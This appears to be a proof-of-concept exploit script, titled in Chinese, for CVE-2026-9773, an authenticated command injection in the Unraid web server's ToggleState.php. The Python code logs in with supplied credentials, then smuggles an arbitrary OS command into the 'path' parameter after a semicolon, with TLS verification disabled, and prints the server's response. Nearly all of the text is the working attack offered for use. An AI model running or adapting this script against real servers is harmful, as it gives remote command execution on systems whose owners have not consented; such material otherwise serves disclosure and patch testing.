CVE-2026-9773 Unraid Web Server ToggleState命令注入远程代码执行漏洞

# CVE-2026-9773 PoC - Unraid ToggleState Command Injection # Exploit for command injection in ToggleState.php # Requires valid authentication credentials import requests import sys TARGET_URL = "https://target-unraid-server" USERNAME = "root" # or any valid Unraid user PASSWORD = "password" def exploit(target_url, username, password, cmd): """ Exploit CVE-2026-9773: Command injection in ToggleState.php The vulnerability exists due to lack of input validation before passing user-supplied string to system() call. """ session = requests.Session() # Step 1: Authenticate to Unraid Web Interface login_url = f"{target_url}/login" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") # Step 2: Exploit command injection in ToggleState.php # Inject OS command via semicolon separator toggle_url = f"{target_url}/ToggleState.php" payload = f"state; {cmd}" params = { "path": payload, # vulnerable parameter "action": "apply" } resp = session.get(toggle_url, params=params, verify=False) print(f"[*] Exploit sent. Status: {resp.status_code}") print(f"[*] Response: {resp.text[:500]}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id'") sys.exit(1) cmd = sys.argv[1] exploit(TARGET_URL, USERNAME, PASSWORD, cmd)